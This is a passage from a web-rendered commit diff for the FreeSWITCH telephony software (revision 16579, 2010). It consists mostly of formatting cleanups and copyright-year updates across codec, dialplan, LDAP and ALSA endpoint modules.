+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_g711a_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g711a_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g711a_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g711a_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="lines">@@ -930,47 +914,44 @@
</span><span class="cx">         mpf = 20000, spf = 160, bpf = 320, ebpf = 33;
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;GSM&quot;);
</span><span class="cx">         for (count = 6; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         3,                                                        /* the IANA code number */
-                                                                                         &quot;GSM&quot;,                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         13200,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count,                                                /* number of frames per network packet */
-                                                                                         switch_gsm_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_gsm_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_gsm_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_gsm_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         3,        /* the IANA code number */
+                                                                                         &quot;GSM&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         13200,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count,        /* number of frames per network packet */
+                                                                                         switch_gsm_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_gsm_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_gsm_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_gsm_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         /* LPC10 */
</span><span class="cx"> #if SWITCH_MAX_INTERVAL &gt;= 90
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;LPC-10&quot;);
</span><del>-        switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 7,                                                        /* the IANA code number */
-                                                                                 &quot;LPC&quot;,                                                /* the IANA code name */
-                                                                                 NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                 8000,                                                /* samples transferred per second */
-                                                                                 8000,                                                /* actual samples transferred per second */
-                                                                                 2400,                                                /* bits transferred per second */
-                                                                                 90000,                                                /* number of microseconds per frame */
-                                                                                 720,                                                /* number of samples per frame */
-                                                                                 1440,                                                /* number of bytes per frame decompressed */
-                                                                                 28,                                                /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */
-                                                                                 4,                                                        /* number of frames per network packet */
-                                                                                 switch_lpc10_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_lpc10_encode,                /* function to encode raw data into encoded data */
-                                                                                 switch_lpc10_decode,                /* function to decode encoded data into raw data */
-                                                                                 switch_lpc10_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 7,        /* the IANA code number */
+                                                                                 &quot;LPC&quot;,        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 2400,        /* bits transferred per second */
+                                                                                 90000,        /* number of microseconds per frame */
+                                                                                 720,        /* number of samples per frame */
+                                                                                 1440,        /* number of bytes per frame decompressed */
+                                                                                 28,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 4,        /* number of frames per network packet */
+                                                                                 switch_lpc10_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_lpc10_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_lpc10_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_lpc10_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx"> #endif
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmoddialplansmod_dialplan_asteriskmod_dialplan_asteriskc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -297,14 +297,16 @@
</span><span class="cx"> switch_endpoint_interface_t *sip_endpoint_interface;
</span><span class="cx"> static switch_call_cause_t sip_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                 switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                switch_call_cause_t *cancel_cause);
</ins><span class="cx"> switch_io_routines_t sip_io_routines = {
</span><span class="cx">         /*.outgoing_channel */ sip_outgoing_channel
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static switch_call_cause_t sip_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                 switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         const char *profile;
</span><span class="cx"> 
</span><span class="lines">@@ -331,14 +333,16 @@
</span><span class="cx"> switch_endpoint_interface_t *iax2_endpoint_interface;
</span><span class="cx"> static switch_call_cause_t iax2_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                  switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                 switch_call_cause_t *cancel_cause);
</ins><span class="cx"> switch_io_routines_t iax2_io_routines = {
</span><span class="cx">         /*.outgoing_channel */ iax2_outgoing_channel
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static switch_call_cause_t iax2_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                  switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                 switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         UNPROTECT_INTERFACE(iax2_endpoint_interface);
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmoddialplansmod_dialplan_directorymod_dialplan_directoryc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -150,7 +150,7 @@
</span><span class="cx">         switch_safe_free(globals.dn);
</span><span class="cx">         switch_safe_free(globals.pass);
</span><span class="cx">         switch_safe_free(globals.base);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -161,7 +161,7 @@
</span><span class="cx"> 
</span><span class="cx">         memset(&amp;globals, 0, sizeof(globals));
</span><span class="cx">         load_config();
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         SWITCH_ADD_DIALPLAN(dp_interface, &quot;directory&quot;, directory_dialplan_hunt);
</span></span></pre></div>
<a id="freeswitchtrunksrcmoddialplansmod_dialplan_xmlmod_dialplan_xmlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -72,10 +72,10 @@
</span><span class="cx"> 
</span><span class="cx">         switch_core_session_exec(session, application_interface, arg);
</span><span class="cx"> 
</span><del>-done:
-        
</del><ins>+  done:
+
</ins><span class="cx">         UNPROTECT_INTERFACE(application_interface);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -100,7 +100,7 @@
</span><span class="cx">                 int ovector[30];
</span><span class="cx">                 switch_bool_t anti_action = SWITCH_TRUE;
</span><span class="cx">                 break_t do_break_i = BREAK_ON_FALSE;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 const char *xyear = switch_xml_attr(xcond, &quot;year&quot;);
</span><span class="cx">                 const char *xyday = switch_xml_attr(xcond, &quot;yday&quot;);
</span><span class="cx">                 const char *xmon = switch_xml_attr(xcond, &quot;mon&quot;);
</span><span class="lines">@@ -125,7 +125,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_time_exp_lt(&amp;tm, ts);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (time_match &amp;&amp; xyear) {
</span><span class="cx">                         int test = tm.tm_year + 1900;
</span><span class="cx">                         time_match = switch_number_cmp(xyear, test);
</span><span class="lines">@@ -164,7 +164,7 @@
</span><span class="cx">                 if (time_match &amp;&amp; xmweek) {
</span><span class="cx">                         /* calculate the day of the week of the first of the month (0-6) */
</span><span class="cx">                         int firstdow = (int) (7 - (tm.tm_mday - (tm.tm_wday + 1)) % 7) % 7;
</span><del>-                        /* calculate the week of the month (1-6)*/
</del><ins>+                        /* calculate the week of the month (1-6) */
</ins><span class="cx">                         int test = (int) ceil((tm.tm_mday + firstdow) / 7.0);
</span><span class="cx">                         time_match = switch_number_cmp(xmweek, test);
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
</span><span class="lines">@@ -198,7 +198,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
</span><span class="cx">                                                           &quot;Dialplan: minute of day[%d] =~ %s (%s)\n&quot;, test, xminday, time_match ? &quot;PASS&quot; : &quot;FAIL&quot;);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 field = (char *) switch_xml_attr(xcond, &quot;field&quot;);
</span><span class="cx"> 
</span><span class="cx">                 if ((xexpression = switch_xml_child(xcond, &quot;expression&quot;))) {
</span><span class="lines">@@ -229,13 +229,13 @@
</span><span class="cx"> 
</span><span class="cx">                 if (time_match == 1) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
</span><del>-                                        &quot;Dialplan: %s Date/Time Match (PASS) [%s] break=%s\n&quot;,
-                                        switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : &quot;on-false&quot;);
</del><ins>+                                                          &quot;Dialplan: %s Date/Time Match (PASS) [%s] break=%s\n&quot;,
+                                                          switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : &quot;on-false&quot;);
</ins><span class="cx">                         anti_action = SWITCH_FALSE;
</span><span class="cx">                 } else if (time_match == 0) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
</span><del>-                                        &quot;Dialplan: %s Date/Time Match (FAIL) [%s] break=%s\n&quot;,
-                                        switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : &quot;on-false&quot;);
</del><ins>+                                                          &quot;Dialplan: %s Date/Time Match (FAIL) [%s] break=%s\n&quot;,
+                                                          switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : &quot;on-false&quot;);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (field) {
</span><span class="lines">@@ -252,21 +252,20 @@
</span><span class="cx">                         if (!field_data) {
</span><span class="cx">                                 field_data = &quot;&quot;;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((proceed = switch_regex_perform(field_data, expression, &amp;re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG, 
-                                                                  &quot;Dialplan: %s Regex (PASS) [%s] %s(%s) =~ /%s/ break=%s\n&quot;, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+                                                                  &quot;Dialplan: %s Regex (PASS) [%s] %s(%s) =~ /%s/ break=%s\n&quot;,
</ins><span class="cx">                                                                   switch_channel_get_name(channel), exten_name, field, field_data, expression, do_break_a ? do_break_a : &quot;on-false&quot;);
</span><span class="cx">                                 anti_action = SWITCH_FALSE;
</span><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG, 
-                                                                  &quot;Dialplan: %s Regex (FAIL) [%s] %s(%s) =~ /%s/ break=%s\n&quot;, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+                                                                  &quot;Dialplan: %s Regex (FAIL) [%s] %s(%s) =~ /%s/ break=%s\n&quot;,
</ins><span class="cx">                                                                   switch_channel_get_name(channel), exten_name, field, field_data, expression, do_break_a ? do_break_a : &quot;on-false&quot;);
</span><span class="cx">                         }
</span><span class="cx">                 } else if (time_match == -1) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG, 
-                                                          &quot;Dialplan: %s Absolute Condition [%s]\n&quot;, 
-                                                          switch_channel_get_name(channel), exten_name);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+                                                          &quot;Dialplan: %s Absolute Condition [%s]\n&quot;, switch_channel_get_name(channel), exten_name);
</ins><span class="cx">                         anti_action = SWITCH_FALSE;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -275,7 +274,7 @@
</span><span class="cx">                                 const char *application = switch_xml_attr_soft(xaction, &quot;application&quot;);
</span><span class="cx">                                 const char *data;
</span><span class="cx">                                 const char *inline_ = switch_xml_attr_soft(xaction, &quot;inline&quot;);
</span><del>-                                int xinline = switch_true(inline_);                                
</del><ins>+                                int xinline = switch_true(inline_);
</ins><span class="cx"> 
</span><span class="cx">                                 if (!zstr(xaction-&gt;txt)) {
</span><span class="cx">                                         data = xaction-&gt;txt;
</span><span class="lines">@@ -284,8 +283,7 @@
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
</span><del>-                                                                  &quot;Dialplan: %s ANTI-Action %s(%s) %s\n&quot;,
-                                                                  switch_channel_get_name(channel), application, data, xinline ? &quot;INLINE&quot; : &quot;&quot;);
</del><ins>+                                                                  &quot;Dialplan: %s ANTI-Action %s(%s) %s\n&quot;, switch_channel_get_name(channel), application, data, xinline ? &quot;INLINE&quot; : &quot;&quot;);
</ins><span class="cx"> 
</span><span class="cx">                                 if (!*extension) {
</span><span class="cx">                                         if ((*extension = switch_caller_extension_new(session, exten_name, caller_profile-&gt;destination_number)) == 0) {
</span><span class="lines">@@ -340,9 +338,8 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG, 
-                                                                  &quot;Dialplan: %s Action %s(%s) %s\n&quot;, 
-                                                                  switch_channel_get_name(channel), application, app_data, xinline ? &quot;INLINE&quot; : &quot;&quot;);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+                                                                  &quot;Dialplan: %s Action %s(%s) %s\n&quot;, switch_channel_get_name(channel), application, app_data, xinline ? &quot;INLINE&quot; : &quot;&quot;);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">                                 if (xinline) {
</span><span class="lines">@@ -356,9 +353,8 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_regex_safe_free(re);
</span><span class="cx"> 
</span><del>-                if (((anti_action == SWITCH_FALSE &amp;&amp; do_break_i == BREAK_ON_TRUE) || 
-                         (anti_action == SWITCH_TRUE &amp;&amp; do_break_i == BREAK_ON_FALSE))  ||
-                        do_break_i == BREAK_ALWAYS) {
</del><ins>+                if (((anti_action == SWITCH_FALSE &amp;&amp; do_break_i == BREAK_ON_TRUE) ||
+                         (anti_action == SWITCH_TRUE &amp;&amp; do_break_i == BREAK_ON_FALSE)) || do_break_i == BREAK_ALWAYS) {
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -370,7 +366,8 @@
</span><span class="cx">         return proceed;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t dialplan_xml_locate(switch_core_session_t *session, switch_caller_profile_t *caller_profile, switch_xml_t *root, switch_xml_t *node)
</del><ins>+static switch_status_t dialplan_xml_locate(switch_core_session_t *session, switch_caller_profile_t *caller_profile, switch_xml_t *root,
+                                                                                   switch_xml_t *node)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_GENERR;
</span><span class="lines">@@ -457,8 +454,8 @@
</span><span class="cx">                         exten_name = &quot;UNKNOWN&quot;;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG, 
-                                                  &quot;Dialplan: %s parsing [%s-&gt;%s] continue=%s\n&quot;, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+                                                  &quot;Dialplan: %s parsing [%s-&gt;%s] continue=%s\n&quot;,
</ins><span class="cx">                                                   switch_channel_get_name(channel), caller_profile-&gt;context, exten_name, cont ? cont : &quot;false&quot;);
</span><span class="cx"> 
</span><span class="cx">                 proceed = parse_exten(session, caller_profile, xexten, &amp;extension);
</span></span></pre></div>
<a id="freeswitchtrunksrcmoddirectoriesmod_ldapmod_ldapc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/directories/mod_ldap/mod_ldap.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/directories/mod_ldap/mod_ldap.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/directories/mod_ldap/mod_ldap.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_alsamod_alsac"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_alsa/mod_alsa.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_alsa/mod_alsa.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_alsa/mod_alsa.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -151,7 +151,8 @@
</span><span class="cx"> static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause);
</ins><span class="cx"> static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
</span><span class="lines">@@ -730,12 +731,12 @@
</span><span class="cx">         /*.on_hangup */ channel_on_hangup,
</span><span class="cx">         /*.on_exchange_media */ channel_on_exchange_media,
</span><span class="cx">         /*.on_soft_execute */ channel_on_soft_execute,
</span><del>-        /*.on_consume_media*/ NULL,
-    /*.on_hibernate*/ NULL,
-    /*.on_reset*/ NULL,
-    /*.on_park*/ NULL,
-    /*.on_reporting*/ NULL,
-    /*.on_destroy*/ channel_on_destroy
</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ channel_on_destroy
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static switch_io_routines_t channel_io_routines = {
</span><span class="lines">@@ -761,7 +762,8 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx"> 
</span><span class="cx">         if ((*new_session = switch_core_session_request(&amp;channel_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
</span><span class="lines">@@ -799,7 +801,6 @@
</span><span class="cx">                         return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_channel_set_flag(channel, CF_OUTBOUND);
</del><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
</span><span class="cx">                 switch_channel_set_state(channel, CS_INIT);
</span><span class="cx">                 return SWITCH_CAUSE_SUCCESS;
</span><span class="lines">@@ -824,8 +825,8 @@
</span><span class="cx">         alsa_endpoint_interface-&gt;state_handler = &amp;channel_event_handlers;
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_API(api_interface, &quot;alsa&quot;, &quot;Alsa&quot;, pa_cmd, &quot;&lt;command&gt; [&lt;args&gt;]&quot;);
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (switch_core_new_memory_pool(&amp;module_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;OH OH no pool\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="lines">@@ -954,7 +955,7 @@
</span><span class="cx">                 switch_core_codec_destroy(&amp;globals.write_codec);
</span><span class="cx">         }
</span><span class="cx">         switch_core_hash_destroy(&amp;globals.call_hash);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(globals.dialplan);
</span><span class="cx">         switch_safe_free(globals.cid_name);
</span><span class="cx">         switch_safe_free(globals.cid_num);
</span><span class="lines">@@ -1013,7 +1014,8 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (switch_core_timer_init(&amp;globals.timer,
</span><del>-                                                           globals.timer_name, codec_ms, globals.read_codec.implementation-&gt;samples_per_packet, module_pool) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                           globals.timer_name, codec_ms, globals.read_codec.implementation-&gt;samples_per_packet,
+                                                           module_pool) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;setup timer failed!\n&quot;);
</span><span class="cx">                 switch_core_codec_destroy(&amp;globals.read_codec);
</span><span class="cx">                 switch_core_codec_destroy(&amp;globals.write_codec);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_dingalingmod_dingalingc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_dingaling/mod_dingaling.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_dingaling/mod_dingaling.c        2010-02-06 00:51:41 UTC (rev 16578)
